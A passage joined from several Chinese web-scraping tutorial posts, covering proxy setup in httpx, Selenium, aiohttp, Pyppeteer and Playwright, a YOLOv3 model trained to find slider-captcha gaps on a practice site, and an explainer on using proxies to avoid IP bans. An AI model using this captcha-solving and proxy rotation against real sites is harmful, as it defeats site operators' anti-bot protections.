response = client.get('https://httpbin.org/get')
print(response.text)

对于需要认证的代理,也是改下 proxy 的值即可:

1
proxy = 'username:password@127.0.0.1:7890'

这里只需要将 usernamepassword 替换即可。

运行结果和使用 requests 是类似的,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-httpx/0.18.1",
"X-Amzn-Trace-Id": "Root=1-60e9a3ef-5527ff6320484f8e46d39834"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

对于 SOCKS 代理,我们需要安装 httpx-socks 库,安装方法如下:

1
pip3 install "httpx-socks[asyncio]"

这样会同时安装同步和异步两种模式的支持。

对于同步模式,设置方法如下:

1
2
3
4
5
6
7
8
9
import httpx
from httpx_socks import SyncProxyTransport

transport = SyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

with httpx.Client(transport=transport) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

这里我们需要设置一个 transport 对象,并配置 SOCKS 代理的地址,同时在声明 httpx 的 Client 对象的时候传入 transport 参数即可,运行结果和刚才是一样的。

对于异步模式,设置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import httpx
import asyncio
from httpx_socks import AsyncProxyTransport

transport = AsyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

async def main():
async with httpx.AsyncClient(transport=transport) as client:
response = await client.get('https://httpbin.org/get')
print(response.text)

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

和同步模式不同的是,transport 对象我们用的是 AsyncProxyTransport 而不是 SyncProxyTransport,同时需要将 Client 对象更改为 AsyncClient 对象,其他的不变,运行结果是一样的。

5. Selenium 的代理设置

Selenium 同样可以设置代理,这里以 Chrome 为例来介绍其设置方法。

对于无认证的代理,设置方法如下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7890'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=http://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f39cd-60930018205fd154a9af39cc"
},
"origin": "210.173.1.204",
"url": "http://httpbin.org/get"
}

代理设置成功,origin 同样为代理 IP 的地址。

如果代理是认证代理,则设置方法相对比较繁琐,具体如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import zipfile

ip = '127.0.0.1'
port = 7890
username = 'foo'
password = 'bar'

manifest_json = """{"version":"1.0.0","manifest_version": 2,"name":"Chrome Proxy","permissions": ["proxy","tabs","unlimitedStorage","storage","<all_urls>","webRequest","webRequestBlocking"],"background": {"scripts": ["background.js"]
}
}
"""
background_js = """
var config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "http",
host: "%(ip) s",
port: %(port) s
}
}
}

chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});

function callbackFn(details) {
return {
authCredentials: {username: "%(username) s",
password: "%(password) s"
}
}
}

chrome.webRequest.onAuthRequired.addListener(
callbackFn,
{urls: ["<all_urls>"]},
['blocking']
)
""" % {'ip': ip, 'port': port, 'username': username, 'password': password}

plugin_file = 'proxy_auth_plugin.zip'
with zipfile.ZipFile(plugin_file, 'w') as zp:
zp.writestr("manifest.json", manifest_json)
zp.writestr("background.js", background_js)
options = Options()
options.add_argument("--start-maximized")
options.add_extension(plugin_file)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

这里需要在本地创建一个 manifest.json 配置文件和 background.js 脚本来设置认证代理。运行代码之后,本地会生成一个 proxy_auth_plugin.zip 文件来保存当前配置。

运行结果和上例一致,origin 同样为代理 IP。

SOCKS 代理的设置也比较简单,把对应的协议修改为 socks5 即可,如无密码认证的代理设置方法为:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7891'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=socks5://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

运行结果是一样的。

6.aiohttp 的代理设置

对于 aiohttp 来说,我们可以通过 proxy 参数直接设置。HTTP 代理设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import asyncio
import aiohttp

proxy = 'http://127.0.0.1:7890'

async def main():
async with aiohttp.ClientSession() as session:
async with session.get('https://httpbin.org/get', proxy=proxy) as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

如果代理有用户名和密码,像 requests 一样,把 proxy 修改为如下内容:

1
proxy = 'http://username:password@127.0.0.1:7890'

这里只需要将 usernamepassword 替换即可。

对于 SOCKS 代理,我们需要安装一个支持库 aiohttp-socks,其安装命令如下:

1
pip3 install aiohttp-socks

我们可以借助于这个库的 ProxyConnector 来设置 SOCKS 代理,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
import aiohttp
from aiohttp_socks import ProxyConnector

connector = ProxyConnector.from_url('socks5://127.0.0.1:7891')

async def main():
async with aiohttp.ClientSession(connector=connector) as session:
async with session.get('https://httpbin.org/get') as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果是一样的。

另外,这个库还支持设置 SOCKS4、HTTP 代理以及对应的代理认证,可以参考其官方介绍。

7. Pyppeteer 的代理设置

对于 Pyppeteer 来说,由于其默认使用的是类似 Chrome 的 Chromium 浏览器,因此其设置方法和 Selenium 的 Chrome 一样,如 HTTP 无认证代理设置方法都是通过 args 来设置的,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7890'

async def main():
browser = await launch({'args': ['--proxy-server=http://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f442c-12b1ed7865b049007267a66c"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

同样可以看到设置成功。

SOCKS 代理也一样,只需要将协议修改为 socks5 即可,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7891'

async def main():
browser = await launch({'args': ['--proxy-server=socks5://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果也是一样的。

8. Playwright 的代理设置

相对 Selenium 和 Pyppeteer 来说,Playwright 的代理设置更加方便,其预留了一个 proxy 参数,可以在启动 Playwright 的时候设置。

对于 HTTP 代理来说,可以这样设置:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

在调用 launch 方法的时候,我们可以传一个 proxy 参数,是一个字典。字典有一个必填的字段叫做 server,这里我们可以直接填写 HTTP 代理的地址即可。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4498.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-60e99eef-4fa746a01a38abd469ecb467"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

对于 SOCKS 代理,设置方法也是完全一样的,我们只需要把 server 字段的值换成 SOCKS 代理的地址即可:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'socks5://127.0.0.1:7891'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

运行结果和刚才也是完全一样的。

对于有用户名和密码的代理,Playwright 的设置也非常简单,我们只需要在 proxy 参数额外设置 username 和 password 字段即可,假如用户名和密码分别是 foo 和 bar,则设置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890',
'username': 'foo',
'password': 'bar'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

这样我们就能非常方便地为 Playwright 实现认证代理的设置。

9.总结

以上我们就总结了各个请求库的代理使用方式,各种库的设置方法大同小异,学会了这些方法之后,以后如果遇到封 IP 的问题,我们可以轻松通过加代理的方式来解决。

本节代码:https://github.com/Python3WebSpider/ProxyTest

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

上一节我们使用 OpenCV 识别了图形验证码躯壳欧。这时候就有朋友可能会说了,现在深度学习不是对图像识别很准吗?那深度学习可以用在识别滑动验证码缺口位置吗?

当然也是可以的,本节我们就来了解下使用深度学习识别滑动验证码的方法。

1. 准备工作

同样地,本节还是主要侧重于完成利用深度学习模型来识别验证码缺口的过程,所以不会侧重于讲解深度学习模型的算法,另外由于整个模型实现较为复杂,本节也不会从零开始编写代码,而是倾向于把代码提前下载下来进行实操练习。

所以在最后,请提前代码下载下来,仓库地址为:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2,利用 Git 把它克隆下来:

1
git clone https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2.git

运行完毕之后,本地就会出现一个 DeepLearningImageCaptcha2 的文件夹,就证明克隆成功了。

克隆完毕之后,请切换到 DeepLearningImageCaptcha2 文件夹,安装必要的依赖库:

1
pip3 install -r requirements.txt

运行完毕之后,本项目运行所需要的依赖库就全部安装好了。

以上准备工作都完成之后,那就让我们就开始本节正式的学习吧。

2. 目标检测

识别滑动验证码缺口的这个问题,其实可以归结为目标检测问题。那什么叫目标检测呢?在这里简单作下介绍。

目标检测,顾名思义,就是把我们想找的东西找出来。比如给一张「狗」的图片,如图所示:

image-20191107024841075

我们想知道这只狗在哪,它的舌头在哪,找到了就把它们框选出来,这就是目标检测。

经过目标检测算法处理之后,我们期望得到的图片是这样的:

image-20191107025008947

可以看到这只狗和它的舌头就被框选出来了,这就完成了一个不错的目标检测。

现在比较流行的目标检测算法有 R-CNN、Fast R-CNN、Faster R-CNN、SSD、YOLO 等,感兴趣可以了解一下,当然不太了解对本节要完成的目标也没有什么影响。

当前做目标检测的算法主要有两种方法,有一阶段式和两阶段式,英文叫做 One stage 和 Two stage,简述如下:

  • Two Stage:算法首先生成一系列目标所在位置的候选框,然后再对这些框选出来的结果进行样本分类,即先找出来在哪,然后再分出来是啥,俗话说叫「看两眼」,这种算法有 R-CNN、Fast R-CNN、Faster R-CNN 等,这些算法架构相对复杂,但准确率上有优势。
  • One Stage:不需要产生候选框,直接将目标定位和分类的问题转化为回归问题,俗话说叫「看一眼」,这种算法有 YOLO、SSD,这些算法虽然准确率上不及 Two stage,但架构相对简单,检测速度更快。

所以这次我们选用 One Stage 的有代表性的目标检测算法 YOLO 来实现滑动验证码缺口的识别。

YOLO,英文全称叫做 You Only Look Once,取了它们的首字母就构成了算法名,

目前 YOLO 算法最新的版本是 V5 版本,应用比较广泛的是 V3 版本,这里算法的具体流程我们就不过多介绍了,感兴趣的可以搜一下相关资料了解下,另外也可以了解下 YOLO V1-V3 版本的不同和改进之处,这里列几个参考链接:

  • YOLO V3 论文:https://pjreddie.com/media/files/papers/YOLOv3.pdf
  • YOLO V3 介绍:https://zhuanlan.zhihu.com/p/34997279
  • YOLO V1-V3 对比介绍:https://www.cnblogs.com/makefile/p/yolov3.html

3. 数据准备

像上一节介绍的一样,要训练深度学习模型也需要准备训练数据,数据也是分为两部分,一部分是验证码图像,另一部分是数据标注,即缺口的位置。但和上一节不一样的是,这次标注不再是单纯的验证码文本了,因为这次我们需要表示的是缺口的位置,缺口对应的是一个矩形框,要表示一个矩形框,至少需要四个数据,如左上角点的横纵坐标 x、y,矩形的宽高 w、h,所以标注数据就变成了四个数字。

所以,接下来我们就需要准备一些验证码图片和对应的四位数字的标注了,比如下图的滑动验证码:

好,那接下来我们就完成这两步吧,第一步就是收集验证码图片,第二步就是标注缺口的位置并转为我们想要的四位数字。

在这里我们的示例网站是 https://captcha1.scrape.center/,打开之后点击登录按钮便会弹出一个滑动验证码,如图所示:

image-20210504182925384

我们需要做的就是单独将滑动验证码的图像保存下来,也就是这个区域:

image-20210504183039997

怎么做呢?靠手工截图肯定不太可靠,费时费力,而且不好准确定位边界,会导致存下来的图片有大有小。为了解决这个问题,我们可以简单写一个脚本来实现下自动化裁切和保存,就是仓库中的 collect.py 文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import WebDriverException
import time
from loguru import logger

COUNT = 1000

for i in range(1, COUNT + 1):
try:
browser = webdriver.Chrome()
wait = WebDriverWait(browser, 10)
browser.get('https://captcha1.scrape.center/')
button = wait.until(EC.element_to_be_clickable(
(By.CSS_SELECTOR, '.el-button')))
button.click()
captcha = wait.until(
EC.presence_of_element_located((By.CSS_SELECTOR, '.geetest_slicebg.geetest_absolute')))
time.sleep(5)
captcha.screenshot(f'data/captcha/images/captcha_{i}.png')
except WebDriverException as e:
logger.error(f'webdriver error occurred {e.msg}')
finally:
browser.close()

在这里我们先定义了一个循环,循环次数为 COUNT 次,每次循环都使用 Selenium 启动一个浏览器,然后打开目标网站,模拟点击登录按钮触发验证码弹出,然后截取验证码对应的节点,再用 screenshot 方法将其保存下来。

我们将其运行:

1
python3 collect.py

运行完了之后我们就可以在 data/captcha/images/ 目录获得很多验证码图片了,样例如图所示:

image-20210504194022826

获得验证码图片之后,我们就需要进行数据标注了,这里推荐的工具是 labelImg,GitHub 地址为 https://github.com/tzutalin/labelImg,使用 pip3 安装即可:

1
pip3 install labelImg

安装完成之后可以直接命令行运行:

1
labelImg

这样就成功启动了 labelImg:

image-20210504194644729

点击 Open Dir 打开 data/captcha/images/ 目录,然后点击左下角的 Create RectBox 创建一个标注框,我们可以将缺口所在的矩形框框选出来,框选完毕之后 labelImg 就会提示保存一个名称,我们将其命名为 target,然后点击 OK,如图所示:

image-20210504194608969

这时候我们可以发现其保存了一个 xml 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<annotation>
<folder>images</folder>
<filename>captcha_0.png</filename>
<path>data/captcha/images/captcha_0.png</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>520</width>
<height>320</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>target</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>321</xmin>
<ymin>87</ymin>
<xmax>407</xmax>
<ymax>167</ymax>
</bndbox>
</object>
</annotation>

其中可以看到 size 节点里有三个节点,分别是 width、height、depth,分别代表原验证码图片的宽度、高度、通道数。另外 object 节点下的 bndbox 节点就包含了标注缺口的位置,通过观察对比可以知道 xmin、ymin 指的就是左上角的坐标,xmax、ymax 指的就是右下角的坐标。

我们可以用下面的方法简单进行下数据处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import xmltodict
import json

def parse_xml(file):
xml_str = open(file, encoding='utf-8').read()
data = xmltodict.parse(xml_str)
data = json.loads(json.dumps(data))
annoatation = data.get('annotation')
width = int(annoatation.get('size').get('width'))
height = int(annoatation.get('size').get('height'))
bndbox = annoatation.get('object').get('bndbox')
box_xmin = int(bndbox.get('xmin'))
box_xmax = int(bndbox.get('xmax'))
box_ymin = int(bndbox.get('ymin'))
box_ymax = int(bndbox.get('ymax'))
box_width = (box_xmax - box_xmin) / width
box_height = (box_ymax - box_ymin) / height
return box_xmin / width, box_ymin / height, box_width / width, box_height / height

这里我们定义了一个 parse_xml 方法,这个方法首先读取了 xml 文件,然后使用 xmltodict 库就可以将 XML 字符串转为 JSON,然后依次读取出验证码的宽高信息,缺口的位置信息,最后返回了想要的数据格式—— 缺口左上角的坐标和宽高相对值,以元组的形式返回。

都标注完成之后,对每个 xml 文件调用此方法便可以生成想要的标注结果了。

在这里,我已经将对应的标注结果都处理好了,可以直接使用,路径为 data/captcha/labels,如图所示:

image-20210504200730482

每个 txt 文件对应一张验证码图的标注结果,内容类似如下:

1
0 0.6153846153846154 0.275 0.16596774 0.24170968

第一位 0 代表标注目标的索引,由于我们只需要检测一个缺口,所以索引就是 0;第 2、3 位代表缺口的左上角的位置,比如 0.615 则代表缺口左上角的横坐标在相对验证码的 61.5% 处,乘以验证码的宽度 520,结果大约就是 320,即左上角偏移值是 320 像素;第 4、5 代表缺口的宽高相对验证码图片的占比,比如第 5 位 0.24 乘以验证码的高度 320,结果大约是 77,即缺口的高度大约为 77 像素。

好了,到此为止数据准备阶段就完成了。

4. 训练

为了更好的训练效果,我们还需要下载一些预训练模型。预训练的意思就是已经有一个提前训练过的基础模型了,我们可以直接使用提前训练好的模型里面的权重文件,我们就不用从零开始训练了,只需要基于之前的模型进行微调就好了,这样既可以节省训练时间,又可以有比较好的效果。

YOLOV3 的训练要加载预训练模型才能有不错的训练效果,预训练模型下载命令如下:

1
bash prepare.sh

注意:在 Windows 下请使用 Bash 命令行工具如 Git Bash 来运行此命令。

执行这个脚本,就能下载 YOLO V3 模型的一些权重文件,包括 yolov3 和 weights 还有 darknet 的 weights,在训练之前我们需要用这些权重文件初始化 YOLO V3 模型。

接下来就可以开始训练了,执行如下脚本:

1
bash train.sh

注意:在 Windows 下请同样使用 Bash 命令行工具如 Git Bash 来运行此命令。

同样推荐使用 GPU 进行训练,训练过程中我们可以使用 TensorBoard 来看看 loss 和 mAP 的变化,运行 TensorBoard:

1
tensorboard --logdir='logs' --port=6006 --host 0.0.0.0

注意:请确保已经正确安装了本项目的所有依赖库,其中就包括 TensorBoard,安装成功之后便可以使用 tensorboard 命令。

运行此命令后可以在 http://localhost:6006 观察到训练过程中的 loss 变化。

loss_1 变化类似如下:

loss 变化

val_mAP 变化类似如下:

mAP 变化

可以看到 loss 从最初的非常高下降到了很低,准确率也逐渐接近 100%。

这是训练过程中的命令行的一些输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
---- [Epoch 99/100, Batch 27/29] ----
+------------+--------------+--------------+--------------+
| Metrics | YOLO Layer 0 | YOLO Layer 1 | YOLO Layer 2 |
+------------+--------------+--------------+--------------+
| grid_size | 14 | 28 | 56 |
| loss | 0.028268 | 0.046053 | 0.043745 |
| x | 0.002108 | 0.005267 | 0.008111 |
| y | 0.004561 | 0.002016 | 0.009047 |
| w | 0.001284 | 0.004618 | 0.000207 |
| h | 0.000594 | 0.000528 | 0.000946 |
| conf | 0.019700 | 0.033624 | 0.025432 |
| cls | 0.000022 | 0.000001 | 0.000002 |
| cls_acc | 100.00% | 100.00% | 100.00% |
| recall50 | 1.000000 | 1.000000 | 1.000000 |
| recall75 | 1.000000 | 1.000000 | 1.000000 |
| precision | 1.000000 | 0.800000 | 0.666667 |
| conf_obj | 0.994271 | 0.999249 | 0.997762 |
| conf_noobj | 0.000126 | 0.000158 | 0.000140 |
+------------+--------------+--------------+--------------+
Total loss 0.11806630343198776

这里显示了训练过程中各个指标的变化情况,如 loss、recall、precision、confidence 等,分别代表训练过程的损失(越小越好)、召回率(能识别出的结果占应该识别出结果的比例,越高越好)、精确率(识别出的结果中正确的比率,越高越好)、置信度(模型有把握识别对的概率,越高越好),可以作为参考。

5. 测试

训练完毕之后会在 checkpoints 文件夹生成 pth 文件,这就是一些模型文件,和上一节的 best_model.pkl 是一样的原理,只不过表示形式略有不同,我们可直接使用这些模型来预测生成标注结果。

要运行测试,我们可以先在测试文件夹 data/captcha/test 放入一些验证码图片:

样例验证码如下:

captcha_435

要运行测试,执行如下脚本:

1
bash detect.sh

该脚本会读取测试文件夹所有图片,并将处理后的结果输出到 data/captcha/result 文件夹,控制台输出了一些验证码的识别结果。

同时在 data/captcha/result 生成了标注的结果,样例如下:

可以看到,缺口就被准确识别出来了。

实际上,detect.sh 是执行了 detect.py 文件,在代码中有一个关键的输出结果如下:

1
2
bbox = patches.Rectangle((x1 + box_w / 2, y1 + box_h / 2), box_w, box_h, linewidth=2, edgecolor=color, facecolor="none")
print('bbox', (x1, y1, box_w, box_h), 'offset', x1)

这里 bbox 指的就是最终缺口的轮廓位置,同时 x1 就是指的轮廓最左侧距离整个验证码最左侧的横向偏移量,即 offset。通过这两个信息,我们就能得到缺口的关键位置了。

有了目标滑块位置之后,我们便可以进行一些模拟滑动操作从而实现通过验证码的检测了。

6. 总结

本节主要介绍了训练深度学习模型来识别滑动验证码缺口的整体流程,最终我们成功实现了模型训练过程,并得到了一个深度学习模型文件。

利用这个模型,我们可以输入一张滑动验证码,模型便会预测出其中的缺口的位置,包括偏移量、宽度等,最后可以通过缺口的信息绘制出对应的位置。

当然本节介绍的内容也可以进一步优化:

  • 当前模型的预测过程是通过命令行执行的,但在实际使用的时候可能并不太方便,可以考虑将预测过程对接 API 服务器暴露出来,比如对接 Flask、Django、FastAPI 等把预测过程实现为一个支持 POST 请求的接口,接口可以接收一张验证码图片,返回验证码的文本信息,这样会使得模型更加方便易用。

本节代码:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们在做爬虫的过程中经常会遇到这样的情况,最初爬虫正常运行,正常抓取数据,一切看起来都是那么美好,然而一杯茶的功夫可能就会出现错误,比如 403 Forbidden,这时打开网页一看,可能会看到 “您的 IP 访问频率太高” 这样的提示。出现这种现象的原因是网站采取了一些反爬虫措施。比如,服务器会检测某个 IP 在单位时间内的请求次数,如果超过了这个阈值,就会直接拒绝服务,返回一些错误信息,这种情况可以称为封 IP。

既然服务器检测的是某个 IP 单位时间的请求次数,那么借助某种方式来伪装我们的 IP,让服务器识别不出是由我们本机发起的请求,不就可以成功防止封 IP 了吗?

一种有效的方式就是使用代理,后面会详细说明代理的用法。在这之前,需要先了解下代理的基本原理,它是怎样实现伪装 IP 的呢?

1. 基本原理

代理实际上指的就是代理服务器,英文叫作 Proxy Server,它的功能是代理网络用户去取得网络信息。形象地说,它是网络信息的中转站。在我们正常请求一个网站时,是发送了请求给 Web 服务器,Web 服务器把响应传回给我们。如果设置了代理服务器,实际上就是在本机和服务器之间搭建了一个桥,此时本机不是直接向 Web 服务器发起请求,而是向代理服务器发出请求,请求会发送给代理服务器,然后由代理服务器再发送给 Web 服务器,接着由代理服务器再把 Web 服务器返回的响应转发给本机。这样我们同样可以正常访问网页,但这个过程中 Web 服务器识别出的真实 IP 就不再是我们本机的 IP 了,就成功实现了 IP 伪装,这就是代理的基本原理。

2. 代理的作用

那么,代理有什么作用呢?我们可以简单列举如下。

  • 突破自身 IP 访问限制,访问一些平时不能访问的站点。
  • 访问一些单位或团体内部资源。比如,使用教育网内地址段的免费代理服务器,就可以下载和上传对教育网开放的各类 FTP,以及查询、共享各类资料等。
  • 提高访问速度。通常,代理服务器都设置一个较大的硬盘缓冲区,当有外界的信息通过时,会同时将其保存到缓冲区中,而当其他用户再访问相同的信息时,则直接由缓冲区中取出信息,传给用户,以提高访问速度。
  • 隐藏真实 IP。上网者也可以通过这种方法隐藏自己的 IP,免受攻击。对于爬虫来说,我们用代理就是为了隐藏自身的 IP,防止自身的 IP 被封锁。

3. 爬虫代理

对于爬虫来说,由于爬虫爬取速度过快,在爬取过程中可能遇到同一个 IP 访问过于频繁的问题,此时网站就会让我们输入验证码登录或者直接封锁 IP,这样会给爬取带来极大的不便。

使用代理隐藏真实的 IP,让服务器误以为是代理服务器在请求自己。这样在爬取过程中通过不断更换代理,就不会被封锁,可以达到很好的爬取效果。

4. 代理分类

对代理进行分类时,既可以根据协议区分,也可以根据其匿名程度区分,下面总结如下。

根据协议区分

根据代理的协议,代理可以分为如下类别。

  • FTP 代理服务器。主要用于访问 FTP 服务器,一般有上传、下载以及缓存功能,端口一般为 21、2121 等。
  • HTTP 代理服务器。主要用于访问网页,一般有内容过滤和缓存功能,端口一般为 80、8080、3128 等。
  • SSL/TLS 代理。主要用于访问加密网站,一般有 SSL 或 TLS 加密功能(最高支持 128 位加密强度),端口一般为 443。
  • RTSP 代理。主要用于 Realplayer 访问 Real 流媒体服务器,一般有缓存功能,端口一般为 554。
  • Telnet 代理。主要用于 Telnet 远程控制(黑客入侵计算机时常用于隐藏身份),端口一般为 23。
  • POP3/SMTP 代理。主要用于 POP3/SMTP 方式收发邮件,一般有缓存功能,端口一般为 110/25。
  • SOCKS 代理。只是单纯传递数据包,不关心具体协议和用法,所以速度快很多,一般有缓存功能,端口一般为 1080。SOCKS 代理协议又分为 SOCKS4 和 SOCKS5,SOCKS4 协议只支持 TCP,而 SOCKS5 协议支持 TCP 和 UDP,还支持各种身份验证机制、服务器端域名解析等。简单来说,SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。

根据匿名程度区分

根据代理的匿名程度,代理可以分为如下类别。

  • 高度匿名代理:高度匿名代理会将数据包原封不动地转发,在服务端看来就好像真的是一个普通客户端在访问,而记录的 IP 是代理服务器的 IP。
  • 普通匿名代理:普通匿名代理会在数据包上做一些改动,服务端上有可能发现这是个代理服务器,也有一定几率追查到客户端的真实 IP。代理服务器通常会加入的 HTTP 头有 HTTP_VIAHTTP_X_FORWARDED_FOR
  • 透明代理:透明代理不但改动了数据包,还会告诉服务器客户端的真实 IP。这种代理除了能用缓存技术提高浏览速度,能用内容过滤提高安全性之外,并无其他显著作用,最常见的例子是内网中的硬件防火墙。
  • 间谍代理:间谍代理指组织或个人创建的,用于记录用户传输的数据,然后进行研究、监控等目的的代理服务器。

5. 常见代理设置

常见的代理设置如下:

  • 使用网上的免费代理,最好使用高匿代理,使用前抓取下来并筛选一下可用代理,也可以进一步维护一个代理池。
  • 使用付费代理服务,互联网上存在许多代理商,可以付费使用,其质量比免费代理好很多。
  • ADSL 拨号,拨一次号换一次 IP,稳定性高,也是一种比较有效的解决方案。
  • 蜂窝代理,即用 4G 或 5G 网卡等制作的代理。由于蜂窝网络用作代理的情形较少,因此整体被封锁的几率会较低,但搭建蜂窝代理的成本较高。

在后面,我们会详细介绍一些代理的使用方式。

6. 总结

本文介绍了代理的相关知识,这对后文我们进行一些反爬绕过的实现有很大的帮助,同时也为后文的一些抓包操作打下基础,需要好好理解。

本节由于涉及一些专业名词,本节的部分内容参考来源如下:

  • 文档 - 代理服务器 - 维基百科:https://zh.wikipedia.org/wiki/ 代理服务器
  • 文档 - 代理 - 百度百科:https://baike.baidu.com/item/代理/3242667

个人随笔

